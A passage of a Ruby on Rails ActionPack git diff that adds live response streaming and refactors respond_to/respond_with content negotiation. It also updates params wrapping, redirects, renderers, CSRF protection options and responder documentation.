+  #         response.stream.write "hello world\n"
+  #         sleep 1
+  #       }
+  #       response.stream.close
+  #     end
+  #   end
+  #
+  # There are a few caveats with this use. You *cannot* write headers after the
+  # response has been committed (Response#committed? will return truthy).
+  # Calling +write+ or +close+ on the response stream will cause the response
+  # object to be committed. Make sure all headers are set before calling write
+  # or close on your stream.
+  #
+  # You *must* call close on your stream when you're finished, otherwise the
+  # socket may be left open forever.
+  #
+  # The final caveat is that your actions are executed in a separate thread than
+  # the main thread. Make sure your actions are thread safe, and this shouldn't
+  # be a problem (don't share state across threads, etc).
+  module Live
+    class Buffer < ActionDispatch::Response::Buffer #:nodoc:
+      def initialize(response)
+        super(response, SizedQueue.new(10))
+      end
+
+      def write(string)
+        unless @response.committed?
+          @response.headers["Cache-Control"] = "no-cache"
+          @response.headers.delete "Content-Length"
+        end
+
+        super
+      end
+
+      def each
+        while str = @buf.pop
+          yield str
+        end
+      end
+
+      def close
+        super
+        @buf.push nil
+      end
+    end
+
+    class Response < ActionDispatch::Response #:nodoc: all
+      class Header < DelegateClass(Hash)
+        def initialize(response, header)
+          @response = response
+          super(header)
+        end
+
+        def []=(k,v)
+          if @response.committed?
+            raise ActionDispatch::IllegalStateError, 'header already sent'
+          end
+
+          super
+        end
+
+        def merge(other)
+          self.class.new @response, __getobj__.merge(other)
+        end
+
+        def to_hash
+          __getobj__.dup
+        end
+      end
+
+      def commit!
+        headers.freeze
+        super
+      end
+
+      private
+
+      def build_buffer(response, body)
+        buf = Live::Buffer.new response
+        body.each { |part| buf.write part }
+        buf
+      end
+
+      def merge_default_headers(original, default)
+        Header.new self, super
+      end
+    end
+
+    def process(name)
+      t1 = Thread.current
+      locals = t1.keys.map { |key| [key, t1[key]] }
+
+      # This processes the action in a child thread. It lets us return the
+      # response code and headers back up the rack stack, and still process
+      # the body in parallel with sending data to the client
+      Thread.new {
+        t2 = Thread.current
+        t2.abort_on_exception = true
+
+        # Since we're processing the view in a different thread, copy the
+        # thread locals from the main thread to the child thread. :'(
+        locals.each { |k,v| t2[k] = v }
+
+        begin
+          super(name)
+        ensure
+          @_response.commit!
+        end
+      }
+
+      @_response.await_commit
+    end
+
+    def response_body=(body)
+      super
+      response.stream.close if response
+    end
+
+    def set_response!(request)
+      if request.env["HTTP_VERSION"] == "HTTP/1.0"
+        super
+      else
+        @_response         = Live::Response.new
+        @_response.request = request
+      end
+    end
+  end
+end
diff --git a/actionpack/lib/action_controller/metal/mime_responds.rb b/actionpack/lib/action_controller/metal/mime_responds.rb
index ca383be76b..18ae2c3bfc 100644
--- a/actionpack/lib/action_controller/metal/mime_responds.rb
+++ b/actionpack/lib/action_controller/metal/mime_responds.rb
@@ -1,13 +1,9 @@
 require 'abstract_controller/collector'
-require 'active_support/core_ext/class/attribute'
-require 'active_support/core_ext/object/inclusion'
 
 module ActionController #:nodoc:
   module MimeResponds
     extend ActiveSupport::Concern
 
-    include ActionController::ImplicitRender
-
     included do
       class_attribute :responder, :mimes_for_respond_to
       self.responder = ActionController::Responder
@@ -18,8 +14,6 @@ module ActionController #:nodoc:
       # Defines mime types that are rendered by default when invoking
       # <tt>respond_with</tt>.
       #
-      # Examples:
-      #
       #   respond_to :html, :xml, :json
       #
       # Specifies that all actions in the controller respond to requests
@@ -58,7 +52,7 @@ module ActionController #:nodoc:
       # Clear all mime types in <tt>respond_to</tt>.
       #
       def clear_respond_to
-        self.mimes_for_respond_to = ActiveSupport::OrderedHash.new.freeze
+        self.mimes_for_respond_to = Hash.new.freeze
       end
     end
 
@@ -76,7 +70,7 @@ module ActionController #:nodoc:
     #
     #     respond_to do |format|
     #       format.html
-    #       format.xml { render :xml => @people.to_xml }
+    #       format.xml { render :xml => @people }
     #     end
     #   end
     #
@@ -186,30 +180,117 @@ module ActionController #:nodoc:
     #     end
     #   end
     #
-    # Be sure to check respond_with and respond_to documentation for more examples.
-    #
+    # Be sure to check the documentation of +respond_with+ and
+    # <tt>ActionController::MimeResponds.respond_to</tt> for more examples.
     def respond_to(*mimes, &block)
       raise ArgumentError, "respond_to takes either types or a block, never both" if mimes.any? && block_given?
 
-      if response = retrieve_response_from_mimes(mimes, &block)
-        response.call(nil)
+      if collector = retrieve_collector_from_mimes(mimes, &block)
+        response = collector.response
+        response ? response.call : render({})
       end
     end
 
-    # respond_with wraps a resource around a responder for default representation.
-    # First it invokes respond_to, if a response cannot be found (ie. no block
-    # for the request was given and template was not available), it instantiates
-    # an ActionController::Responder with the controller and resource.
+    # For a given controller action, respond_with generates an appropriate
+    # response based on the mime-type requested by the client.
     #
-    # ==== Example
+    # If the method is called with just a resource, as in this example -
     #
-    #   def index
-    #     @users = User.all
-    #     respond_with(@users)
+    #   class PeopleController < ApplicationController
+    #     respond_to :html, :xml, :json
+    #
+    #     def index
+    #       @people = Person.all
+    #       respond_with @people
+    #     end
+    #   end
+    #
+    # then the mime-type of the response is typically selected based on the
+    # request's Accept header and the set of available formats declared
+    # by previous calls to the controller's class method +respond_to+. Alternatively
+    # the mime-type can be selected by explicitly setting <tt>request.format</tt> in
+    # the controller.
+    #
+    # If an acceptable format is not identified, the application returns a
+    # '406 - not acceptable' status. Otherwise, the default response is to render
+    # a template named after the current action and the selected format,
+    # e.g. <tt>index.html.erb</tt>. If no template is available, the behavior
+    # depends on the selected format:
+    #
+    # * for an html response - if the request method is +get+, an exception
+    #   is raised but for other requests such as +post+ the response
+    #   depends on whether the resource has any validation errors (i.e.
+    #   assuming that an attempt has been made to save the resource,
+    #   e.g. by a +create+ action) -
+    #   1. If there are no errors, i.e. the resource
+    #      was saved successfully, the response +redirect+'s to the resource
+    #      i.e. its +show+ action.
+    #   2. If there are validation errors, the response
+    #      renders a default action, which is <tt>:new</tt> for a
+    #      +post+ request or <tt>:edit</tt> for +put+.
+    #   Thus an example like this -
+    #
+    #     respond_to :html, :xml
+    #
+    #     def create
+    #       @user = User.new(params[:user])
+    #       flash[:notice] = 'User was successfully created.' if @user.save
+    #       respond_with(@user)
+    #     end
+    #
+    #   is equivalent, in the absence of <tt>create.html.erb</tt>, to -
+    #
+    #     def create
+    #       @user = User.new(params[:user])
+    #       respond_to do |format|
+    #         if @user.save
+    #           flash[:notice] = 'User was successfully created.'
+    #           format.html { redirect_to(@user) }
+    #           format.xml { render :xml => @user }
+    #         else
+    #           format.html { render :action => "new" }
+    #           format.xml { render :xml => @user }
+    #         end
+    #       end
+    #     end
+    #
+    # * for a javascript request - if the template isn't found, an exception is
+    #   raised.
+    # * for other requests - i.e. data formats such as xml, json, csv etc, if
+    #   the resource passed to +respond_with+ responds to <code>to_<format></code>,
+    #   the method attempts to render the resource in the requested format
+    #   directly, e.g. for an xml request, the response is equivalent to calling 
+    #   <code>render :xml => resource</code>.
+    #
+    # === Nested resources
+    #
+    # As outlined above, the +resources+ argument passed to +respond_with+
+    # can play two roles. It can be used to generate the redirect url
+    # for successful html requests (e.g. for +create+ actions when
+    # no template exists), while for formats other than html and javascript
+    # it is the object that gets rendered, by being converted directly to the
+    # required format (again assuming no template exists).
+    #
+    # For redirecting successful html requests, +respond_with+ also supports
+    # the use of nested resources, which are supplied in the same way as
+    # in <code>form_for</code> and <code>polymorphic_url</code>. For example -
+    #
+    #   def create
+    #     @project = Project.find(params[:project_id])
+    #     @task = @project.comments.build(params[:task])
+    #     flash[:notice] = 'Task was successfully created.' if @task.save
+    #     respond_with(@project, @task)
     #   end
     #
-    # It also accepts a block to be given. It's used to overwrite a default
-    # response:
+    # This would cause +respond_with+ to redirect to <code>project_task_url</code>
+    # instead of <code>task_url</code>. For request formats other than html or
+    # javascript, if multiple resources are passed in this way, it is the last
+    # one specified that is rendered.
+    #
+    # === Customizing response behavior
+    #
+    # Like +respond_to+, +respond_with+ may also be called with a block that
+    # can be used to overwrite any of the default responses, e.g. -
     #
     #   def create
     #     @user = User.new(params[:user])
@@ -220,21 +301,31 @@ module ActionController #:nodoc:
     #     end
     #   end
     #
-    # All options given to respond_with are sent to the underlying responder,
-    # except for the option :responder itself. Since the responder interface
-    # is quite simple (it just needs to respond to call), you can even give
-    # a proc to it.
-    #
-    # In order to use respond_with, first you need to declare the formats your
-    # controller responds to in the class level with a call to <tt>respond_to</tt>.
-    #
+    # The argument passed to the block is an ActionController::MimeResponds::Collector
+    # object which stores the responses for the formats defined within the
+    # block. Note that formats with responses defined explicitly in this way
+    # do not have to first be declared using the class method +respond_to+.
+    #
+    # Also, a hash passed to +respond_with+ immediately after the specified
+    # resource(s) is interpreted as a set of options relevant to all
+    # formats. Any option accepted by +render+ can be used, e.g.
+    #   respond_with @people, :status => 200
+    # However, note that these options are ignored after an unsuccessful attempt
+    # to save a resource, e.g. when automatically rendering <tt>:new</tt>
+    # after a post request.
+    #
+    # Two additional options are relevant specifically to +respond_with+ -
+    # 1. <tt>:location</tt> - overwrites the default redirect location used after
+    #    a successful html +post+ request.
+    # 2. <tt>:action</tt> - overwrites the default render action used after an
+    #    unsuccessful html +post+ request.
     def respond_with(*resources, &block)
       raise "In order to use respond_with, first you need to declare the formats your " <<
             "controller responds to in the class level" if self.class.mimes_for_respond_to.empty?
 
-      if response = retrieve_response_from_mimes(&block)
+      if collector = retrieve_collector_from_mimes(&block)
         options = resources.size == 1 ? {} : resources.extract_options!
-        options.merge!(:default_response => response)
+        options[:default_response] = collector.response
         (options.delete(:responder) || self.class.responder).call(self, resources, options)
       end
     end
@@ -243,7 +334,6 @@ module ActionController #:nodoc:
 
     # Collect mimes declared in the class method respond_to valid for the
     # current action.
-    #
     def collect_mimes_from_class_level #:nodoc:
       action = action_name.to_s
 
@@ -251,39 +341,65 @@ module ActionController #:nodoc:
         config = self.class.mimes_for_respond_to[mime]
 
         if config[:except]
-          !action.in?(config[:except])
+          !config[:except].include?(action)
         elsif config[:only]
-          action.in?(config[:only])
+          config[:only].include?(action)
         else
           true
         end
       end
     end
 
-    # Collects mimes and return the response for the negotiated format. Returns
-    # nil if :not_acceptable was sent to the client.
+    # Returns a Collector object containing the appropriate mime-type response
+    # for the current request, based on the available responses defined by a block.
+    # In typical usage this is the block passed to +respond_with+ or +respond_to+.
     #
-    def retrieve_response_from_mimes(mimes=nil, &block) #:nodoc:
+    # Sends :not_acceptable to the client and returns nil if no suitable format
+    # is available.
+    def retrieve_collector_from_mimes(mimes=nil, &block) #:nodoc:
       mimes ||= collect_mimes_from_class_level
-      collector = Collector.new(mimes) { |options| default_render(options || {}) }
+      collector = Collector.new(mimes)
       block.call(collector) if block_given?
+      format = collector.negotiate_format(request)
 
-      if format = request.negotiate_mime(collector.order)
+      if format
         self.content_type ||= format.to_s
-        lookup_context.freeze_formats([format.to_sym])
-        collector.response_for(format)
+        lookup_context.formats = [format.to_sym]
+        lookup_context.rendered_format = lookup_context.formats.first
+        collector
       else
-        head :not_acceptable
-        nil
+        raise ActionController::UnknownFormat
       end
     end
 
-    class Collector #:nodoc:
+    # A container for responses available from the current controller for
+    # requests for different mime-types sent to a particular action.
+    #
+    # The public controller methods +respond_with+ and +respond_to+ may be called
+    # with a block that is used to define responses to different mime-types, e.g.
+    # for +respond_to+ :
+    #
+    #   respond_to do |format|
+    #     format.html
+    #     format.xml { render :xml => @people }
+    #   end
+    #
+    # In this usage, the argument passed to the block (+format+ above) is an
+    # instance of the ActionController::MimeResponds::Collector class. This
+    # object serves as a container in which available responses can be stored by
+    # calling any of the dynamically generated, mime-type-specific methods such
+    # as +html+, +xml+ etc on the Collector. Each response is represented by a
+    # corresponding block if present.
+    #
+    # A subsequent call to #negotiate_format(request) will enable the Collector
+    # to determine which specific mime-type it should respond with for the current
+    # request, with this response then being accessible by calling #response.
+    class Collector
       include AbstractController::Collector
-      attr_accessor :order
+      attr_accessor :order, :format
 
-      def initialize(mimes, &block)
-        @order, @responses, @default_response = [], {}, block
+      def initialize(mimes)
+        @order, @responses = [], {}
         mimes.each { |mime| send(mime) }
       end
 
@@ -302,8 +418,12 @@ module ActionController #:nodoc:
         @responses[mime_type] ||= block
       end
 
-      def response_for(mime)
-        @responses[mime] || @responses[Mime::ALL] || @default_response
+      def response
+        @responses[format] || @responses[Mime::ALL]
+      end
+
+      def negotiate_format(request)
+        @format = request.negotiate_mime(order)
       end
     end
   end
diff --git a/actionpack/lib/action_controller/metal/params_wrapper.rb b/actionpack/lib/action_controller/metal/params_wrapper.rb
index e0d8e1c992..2736948ce0 100644
--- a/actionpack/lib/action_controller/metal/params_wrapper.rb
+++ b/actionpack/lib/action_controller/metal/params_wrapper.rb
@@ -1,7 +1,5 @@
-require 'active_support/core_ext/class/attribute'
 require 'active_support/core_ext/hash/slice'
 require 'active_support/core_ext/hash/except'
-require 'active_support/core_ext/array/wrap'
 require 'active_support/core_ext/module/anonymous'
 require 'action_dispatch/http/mime_types'
 
@@ -43,8 +41,13 @@ module ActionController
   #       wrap_parameters :person, :include => [:username, :password]
   #     end
   #
+  # On ActiveRecord models with no +:include+ or +:exclude+ option set,
+  # if attr_accessible is set on that model, it will only wrap the accessible
+  # parameters, else it will only wrap the parameters returned by the class
+  # method attribute_names.
+  #
   # If you're going to pass the parameters to an +ActiveModel+ object (such as
-  # +User.new(params[:user])+), you might consider passing the model class to
+  # <tt>User.new(params[:user])</tt>), you might consider passing the model class to
   # the method instead. The +ParamsWrapper+ will actually try to determine the
   # list of attribute names from the model and only wrap those attributes:
   #
@@ -62,7 +65,7 @@ module ActionController
   #     class Admin::UsersController < ApplicationController
   #     end
   #
-  # will try to check if +Admin::User+ or +User+ model exists, and use it to
+  # will try to check if <tt>Admin::User</tt> or +User+ model exists, and use it to
   # determine the wrapper key respectively. If both models don't exist,
   # it will then fallback to use +user+ as the key.
   module ParamsWrapper
@@ -141,7 +144,7 @@ module ActionController
       # try to find Foo::Bar::User, Foo::User and finally User.
       def _default_wrap_model #:nodoc:
         return nil if self.anonymous?
-        model_name = self.name.sub(/Controller$/, '').singularize
+        model_name = self.name.sub(/Controller$/, '').classify
 
         begin
           if model_klass = model_name.safe_constantize
@@ -162,7 +165,10 @@ module ActionController
 
         unless options[:include] || options[:exclude]
           model ||= _default_wrap_model
-          if model.respond_to?(:attribute_names) && model.attribute_names.present?
+          role = options.fetch(:as, :default)
+          if model.respond_to?(:accessible_attributes) && model.accessible_attributes(role).present?
+            options[:include] = model.accessible_attributes(role).to_a
+          elsif model.respond_to?(:attribute_names) && model.attribute_names.present?
             options[:include] = model.attribute_names
           end
         end
@@ -173,9 +179,9 @@ module ActionController
             controller_name.singularize
         end
 
-        options[:include] = Array.wrap(options[:include]).collect(&:to_s) if options[:include]
-        options[:exclude] = Array.wrap(options[:exclude]).collect(&:to_s) if options[:exclude]
-        options[:format]  = Array.wrap(options[:format])
+        options[:include] = Array(options[:include]).collect(&:to_s) if options[:include]
+        options[:exclude] = Array(options[:exclude]).collect(&:to_s) if options[:exclude]
+        options[:format]  = Array(options[:format])
 
         self._wrapper_options = options
       end
@@ -186,7 +192,8 @@ module ActionController
     def process_action(*args)
       if _wrapper_enabled?
         wrapped_hash = _wrap_parameters request.request_parameters
-        wrapped_filtered_hash = _wrap_parameters request.filtered_parameters
+        wrapped_keys = request.request_parameters.keys
+        wrapped_filtered_hash = _wrap_parameters request.filtered_parameters.slice(*wrapped_keys)
 
         # This will make the wrapped hash accessible from controller and view
         request.parameters.merge! wrapped_hash
diff --git a/actionpack/lib/action_controller/metal/rack_delegation.rb b/actionpack/lib/action_controller/metal/rack_delegation.rb
index 544b4989c7..bdf6e88699 100644
--- a/actionpack/lib/action_controller/metal/rack_delegation.rb
+++ b/actionpack/lib/action_controller/metal/rack_delegation.rb
@@ -8,9 +8,8 @@ module ActionController
     delegate :headers, :status=, :location=, :content_type=,
              :status, :location, :content_type, :to => "@_response"
 
-    def dispatch(action, request, response = ActionDispatch::Response.new)
-      @_response ||= response
-      @_response.request ||= request
+    def dispatch(action, request)
+      set_response!(request)
       super(action, request)
     end
 
@@ -22,5 +21,12 @@ module ActionController
     def reset_session
       @_request.reset_session
     end
+
+    private
+
+    def set_response!(request)
+      @_response         = ActionDispatch::Response.new
+      @_response.request = request
+    end
   end
 end
diff --git a/actionpack/lib/action_controller/metal/redirecting.rb b/actionpack/lib/action_controller/metal/redirecting.rb
index 0355c9f458..ee0e69d87c 100644
--- a/actionpack/lib/action_controller/metal/redirecting.rb
+++ b/actionpack/lib/action_controller/metal/redirecting.rb
@@ -18,13 +18,12 @@ module ActionController
     #
     # * <tt>Hash</tt> - The URL will be generated by calling url_for with the +options+.
     # * <tt>Record</tt> - The URL will be generated by calling url_for with the +options+, which will reference a named URL for that record.
-    # * <tt>String</tt> starting with <tt>protocol://</tt> (like <tt>http://</tt>) - Is passed straight through as the target for redirection.
+    # * <tt>String</tt> starting with <tt>protocol://</tt> (like <tt>http://</tt>) or a protocol relative reference (like <tt>//</tt>) - Is passed straight through as the target for redirection.
     # * <tt>String</tt> not containing a protocol - The current protocol and host is prepended to the string.
     # * <tt>Proc</tt> - A block that will be executed in the controller's context. Should return any option accepted by +redirect_to+.
     # * <tt>:back</tt> - Back to the page that issued the request. Useful for forms that are triggered from multiple places.
     #   Short-hand for <tt>redirect_to(request.env["HTTP_REFERER"])</tt>
     #
-    # Examples:
     #   redirect_to :action => "show", :id => 5
     #   redirect_to post
     #   redirect_to "http://www.rubyonrails.org"
@@ -35,7 +34,6 @@ module ActionController
     #
     # The redirection happens as a "302 Moved" header unless otherwise specified.
     #
-    # Examples:
     #   redirect_to post_url(@post), :status => :found
     #   redirect_to :action=>'atom', :status => :moved_permanently
     #   redirect_to post_url(@post), :status => 301
@@ -45,10 +43,18 @@ module ActionController
     # integer, or a symbol representing the downcased, underscored and symbolized description.
     # Note that the status code must be a 3xx HTTP code, or redirection will not occur.
     #
+    # If you are using XHR requests other than GET or POST and redirecting after the
+    # request then some browsers will follow the redirect using the original request
+    # method. This may lead to undesirable behavior such as a double DELETE. To work
+    # around this  you can return a <tt>303 See Other</tt> status code which will be
+    # followed using a GET request.
+    #
+    #   redirect_to posts_url, :status => :see_other
+    #   redirect_to :action => 'index', :status => 303
+    #
     # It is also possible to assign a flash message as part of the redirection. There are two special accessors for the commonly used flash names
     # +alert+ and +notice+ as well as a general purpose +flash+ bucket.
     #
-    # Examples:
     #   redirect_to post_url(@post), :alert => "Watch it, mister!"
     #   redirect_to post_url(@post), :status=> :found, :notice => "Pay attention to the road"
     #   redirect_to post_url(@post), :status => 301, :flash => { :updated_post_id => @post.id }
@@ -59,6 +65,7 @@ module ActionController
     def redirect_to(options = {}, response_status = {}) #:doc:
       raise ActionControllerError.new("Cannot redirect to nil!") unless options
       raise AbstractController::DoubleRenderError if response_body
+      logger.debug { "Redirected by #{caller(1).first rescue "unknown"}" } if logger
 
       self.status        = _extract_redirect_to_status(options, response_status)
       self.location      = _compute_redirect_to_location(options)
@@ -81,7 +88,8 @@ module ActionController
         # The scheme name consist of a letter followed by any combination of
         # letters, digits, and the plus ("+"), period ("."), or hyphen ("-")
         # characters; and is terminated by a colon (":").
-        when %r{^\w[\w+.-]*:.*}
+        # The protocol relative scheme starts with a double slash "//"
+        when %r{^(\w[\w+.-]*:|//).*}
           options
         when String
           request.protocol + request.host_with_port + options
@@ -92,7 +100,7 @@ module ActionController
           _compute_redirect_to_location options.call
         else
           url_for(options)
-        end.gsub(/[\r\n]/, '')
+        end.delete("\0\r\n")
       end
   end
 end
diff --git a/actionpack/lib/action_controller/metal/renderers.rb b/actionpack/lib/action_controller/metal/renderers.rb
index 0ad9dbeda9..78aeeef2bf 100644
--- a/actionpack/lib/action_controller/metal/renderers.rb
+++ b/actionpack/lib/action_controller/metal/renderers.rb
@@ -1,5 +1,4 @@
-require 'active_support/core_ext/class/attribute'
-require 'active_support/core_ext/object/blank'
+require 'set'
 
 module ActionController
   # See <tt>Renderers.add</tt>
@@ -12,16 +11,13 @@ module ActionController
 
     included do
       class_attribute :_renderers
-      self._renderers = {}.freeze
+      self._renderers = Set.new.freeze
     end
 
     module ClassMethods
       def use_renderers(*args)
-        new = _renderers.dup
-        args.each do |key|
-          new[key] = RENDERERS[key]
-        end
-        self._renderers = new.freeze
+        renderers = _renderers + args
+        self._renderers = renderers.freeze
       end
       alias use_renderer use_renderers
     end
@@ -31,10 +27,10 @@ module ActionController
     end
 
     def _handle_render_options(options)
-      _renderers.each do |name, value|
-        if options.key?(name.to_sym)
+      _renderers.each do |name|
+        if options.key?(name)
           _process_options(options)
-          return send("_render_option_#{name}", options.delete(name.to_sym), options)
+          return send("_render_option_#{name}", options.delete(name), options)
         end
       end
       nil
@@ -42,7 +38,7 @@ module ActionController
 
     # Hash of available renderers, mapping a renderer name to its proc.
     # Default keys are :json, :js, :xml.
-    RENDERERS = {}
+    RENDERERS = Set.new
 
     # Adds a new renderer to call within controller actions.
     # A renderer is invoked by passing its name as an option to
@@ -51,7 +47,6 @@ module ActionController
     # is the value paired with its key and the second is the remaining
     # hash of options passed to +render+.
     #
-    # === Example
     # Create a csv renderer:
     #
     #   ActionController::Renderers.add :csv do |obj, options|
@@ -79,7 +74,7 @@ module ActionController
     # <tt>ActionController::MimeResponds#respond_with</tt>
     def self.add(key, &block)
       define_method("_render_option_#{key}", &block)
-      RENDERERS[key] = block
+      RENDERERS << key.to_sym
     end
 
     module All
@@ -93,9 +88,14 @@ module ActionController
 
     add :json do |json, options|
       json = json.to_json(options) unless json.kind_of?(String)
-      json = "#{options[:callback]}(#{json})" unless options[:callback].blank?
-      self.content_type ||= Mime::JSON
-      json
+
+      if options[:callback].present?
+        self.content_type ||= Mime::JS
+        "#{options[:callback]}(#{json})"
+      else
+        self.content_type ||= Mime::JSON
+        json
+      end
     end
 
     add :js do |js, options|
diff --git a/actionpack/lib/action_controller/metal/rendering.rb b/actionpack/lib/action_controller/metal/rendering.rb
index 70fd79bb8b..c5e7d4e357 100644
--- a/actionpack/lib/action_controller/metal/rendering.rb
+++ b/actionpack/lib/action_controller/metal/rendering.rb
@@ -14,7 +14,7 @@ module ActionController
     def render(*args) #:nodoc:
       raise ::AbstractController::DoubleRenderError if response_body
       super
-      self.content_type ||= Mime[formats.first].to_s
+      self.content_type ||= Mime[lookup_context.rendered_format].to_s
       response_body
     end
 
@@ -29,6 +29,10 @@ module ActionController
       self.response_body = nil
     end
 
+    def render_to_body(*)
+      super || " "
+    end
+
     private
 
     # Normalize arguments by catching blocks and setting them on :update.
@@ -44,6 +48,10 @@ module ActionController
         options[:text] = options[:text].to_text
       end
 
+      if options.delete(:nothing) || (options.key?(:text) && options[:text].nil?)
+        options[:text] = " "
+      end
+
       if options[:status]
         options[:status] = Rack::Utils.status_code(options[:status])
       end
diff --git a/actionpack/lib/action_controller/metal/request_forgery_protection.rb b/actionpack/lib/action_controller/metal/request_forgery_protection.rb
index bc22e39efb..d5f1cbc1a8 100644
--- a/actionpack/lib/action_controller/metal/request_forgery_protection.rb
+++ b/actionpack/lib/action_controller/metal/request_forgery_protection.rb
@@ -1,4 +1,3 @@
-require 'active_support/core_ext/class/attribute'
 require 'action_controller/metal/exceptions'
 
 module ActionController #:nodoc:
@@ -14,10 +13,23 @@ module ActionController #:nodoc:
   # authentication scheme there anyway). Also, GET requests are not protected as these
   # should be idempotent.
   #
+  # It's important to remember that XML or JSON requests are also affected and if
+  # you're building an API you'll need something like:
+  #
+  #   class ApplicationController < ActionController::Base
+  #     protect_from_forgery
+  #     skip_before_filter :verify_authenticity_token, :if => :json_request?
+  #
+  #     protected
+  #
+  #     def json_request?
+  #       request.format.json?
+  #     end
+  #   end
+  #
   # CSRF protection is turned on with the <tt>protect_from_forgery</tt> method,
   # which checks the token and resets the session if it doesn't match what was expected.
   # A call to this method is generated for new \Rails applications by default.
-  # You can customize the error message by editing public/422.html.
   #
   # The token parameter is named <tt>authenticity_token</tt> by default. The name and
   # value of this token must be added to every layout that renders forms by including
@@ -37,6 +49,10 @@ module ActionController #:nodoc:
       config_accessor :request_forgery_protection_token
       self.request_forgery_protection_token ||= :authenticity_token
 
+      # Controls how unverified request will be handled
+      config_accessor :request_forgery_protection_method
+      self.request_forgery_protection_method ||= :reset_session
+
       # Controls whether request forgery protection is turned on or not. Turned off by default only in test mode.
       config_accessor :allow_forgery_protection
       self.allow_forgery_protection = true if allow_forgery_protection.nil?
@@ -48,8 +64,6 @@ module ActionController #:nodoc:
     module ClassMethods
       # Turn on request forgery protection. Bear in mind that only non-GET, HTML/JavaScript requests are checked.
       #
-      # Example:
-      #
       #   class FooController < ApplicationController
       #     protect_from_forgery :except => :index
       #
@@ -64,8 +78,10 @@ module ActionController #:nodoc:
       # Valid Options:
       #
       # * <tt>:only/:except</tt> - Passed to the <tt>before_filter</tt> call. Set which actions are verified.
+      # * <tt>:with</tt> - Set the method to handle unverified request. Valid values: <tt>:exception</tt> and <tt>:reset_session</tt> (default).
       def protect_from_forgery(options = {})
         self.request_forgery_protection_token ||= :authenticity_token
+        self.request_forgery_protection_method = options.delete(:with) if options.key?(:with)
         prepend_before_filter :verify_authenticity_token, options
       end
     end
@@ -74,15 +90,25 @@ module ActionController #:nodoc:
       # The actual before_filter that is used. Modify this to change how you handle unverified requests.
       def verify_authenticity_token
         unless verified_request?
-          logger.warn "WARNING: Can't verify CSRF token authenticity" if logger
+          logger.warn "Can't verify CSRF token authenticity" if logger
           handle_unverified_request
         end
       end
 
       # This is the method that defines the application behavior when a request is found to be unverified.
-      # By default, \Rails resets the session when it finds an unverified request.
+      # By default, \Rails uses <tt>request_forgery_protection_method</tt> when it finds an unverified request:
+      #
+      # * <tt>:reset_session</tt> - Resets the session.
+      # * <tt>:exception</tt>: - Raises ActionController::InvalidAuthenticityToken exception.
       def handle_unverified_request
-        reset_session
+        case request_forgery_protection_method
+        when :exception
+          raise ActionController::InvalidAuthenticityToken
+        when :reset_session
+          reset_session
+        else
+          raise ArgumentError, 'Invalid request forgery protection method, use :exception or :reset_session'
+        end
       end
 
       # Returns true or false if a request is verified. Checks:
diff --git a/actionpack/lib/action_controller/metal/rescue.rb b/actionpack/lib/action_controller/metal/rescue.rb
index eb037aa1b0..68cc9a9c9b 100644
--- a/actionpack/lib/action_controller/metal/rescue.rb
+++ b/actionpack/lib/action_controller/metal/rescue.rb
@@ -1,4 +1,7 @@
 module ActionController #:nodoc:
+  # This module is responsible to provide `rescue_from` helpers
+  # to controllers and configure when detailed exceptions must be
+  # shown.
   module Rescue
     extend ActiveSupport::Concern
     include ActiveSupport::Rescuable
@@ -12,10 +15,20 @@ module ActionController #:nodoc:
       super(exception)
     end
 
+    # Override this method if you want to customize when detailed
+    # exceptions must be shown. This method is only called when
+    # consider_all_requests_local is false. By default, it returns
+    # false, but someone may set it to `request.local?` so local
+    # requests in production still shows the detailed exception pages.
+    def show_detailed_exceptions?
+      false
+    end
+
     private
       def process_action(*args)
         super
       rescue Exception => exception
+        request.env['action_dispatch.show_detailed_exceptions'] ||= show_detailed_exceptions?
         rescue_with_handler(exception) || raise(exception)
       end
   end
diff --git a/actionpack/lib/action_controller/metal/responder.rb b/actionpack/lib/action_controller/metal/responder.rb
index b932302a60..d9c89a74f1 100644
--- a/actionpack/lib/action_controller/metal/responder.rb
+++ b/actionpack/lib/action_controller/metal/responder.rb
@@ -53,7 +53,7 @@ module ActionController #:nodoc:
   #     end
   #   end
   #
-  # The same happens for PUT and DELETE requests.
+  # The same happens for PATCH/PUT and DELETE requests.
   #
   # === Nested resources
   #
@@ -63,7 +63,7 @@ module ActionController #:nodoc:
   #
   #   def create
   #     @project = Project.find(params[:project_id])
-  #     @task = @project.comments.build(params[:task])
+  #     @task = @project.tasks.build(params[:task])
   #     flash[:notice] = 'Task was successfully created.' if @task.save
   #     respond_with(@project, @task)
   #   end
@@ -84,18 +84,18 @@ module ActionController #:nodoc:
   #
   # === Custom options
   #
-  # <code>respond_with</code> also allow you to pass options that are forwarded
-  # to the underlying render call. Those options are only applied success
+  # <code>respond_with</code> also allows you to pass options that are forwarded
+  # to the underlying render call. Those options are only applied for success
   # scenarios. For instance, you can do the following in the create method above:
   #
   #   def create
   #     @project = Project.find(params[:project_id])
-  #     @task = @project.comments.build(params[:task])
+  #     @task = @project.tasks.build(params[:task])
   #     flash[:notice] = 'Task was successfully created.' if @task.save
   #     respond_with(@project, @task, :status => 201)
   #   end
   #
-  # This will return status 201 if the task was saved with success. If not,
+  # This will return status 201 if the task was saved successfully. If not,
   # it will simply ignore the given options and return status 422 and the
   # resource errors. To customize the failure scenario, you can pass a
   # a block to <code>respond_with</code>:
@@ -116,8 +116,9 @@ module ActionController #:nodoc:
   class Responder
     attr_reader :controller, :request, :format, :resource, :resources, :options
 
-    ACTIONS_FOR_VERBS = {
+    DEFAULT_ACTIONS_FOR_VERBS = {
       :post => :new,
+      :patch => :edit,
       :put => :edit
     }
 
@@ -133,7 +134,7 @@ module ActionController #:nodoc:
     end
 
     delegate :head, :render, :redirect_to,   :to => :controller
-    delegate :get?, :post?, :put?, :delete?, :to => :request
+    delegate :get?, :post?, :patch?, :put?, :delete?, :to => :request
 
     # Undefine :to_json and :to_yaml since it's defined on Object
     undef_method(:to_json) if method_defined?(:to_json)
@@ -172,7 +173,7 @@ module ActionController #:nodoc:
     # responds to :to_format and display it.
     #
     def to_format
-      if get? || !has_errors?
+      if get? || !has_errors? || response_overridden?
         default_render
       else
         display_errors
@@ -222,11 +223,15 @@ module ActionController #:nodoc:
     alias :navigation_location :resource_location
     alias :api_location :resource_location
 
-    # If a given response block was given, use it, otherwise call render on
+    # If a response block was given, use it, otherwise call render on
     # controller.
     #
     def default_render
-      @default_response.call(options)
+      if @default_response
+        @default_response.call(options)
+      else
+        controller.default_render(options)
+      end
     end
 
     # Display is just a shortcut to render a resource with the current format.
@@ -260,19 +265,23 @@ module ActionController #:nodoc:
       resource.respond_to?(:errors) && !resource.errors.empty?
     end
 
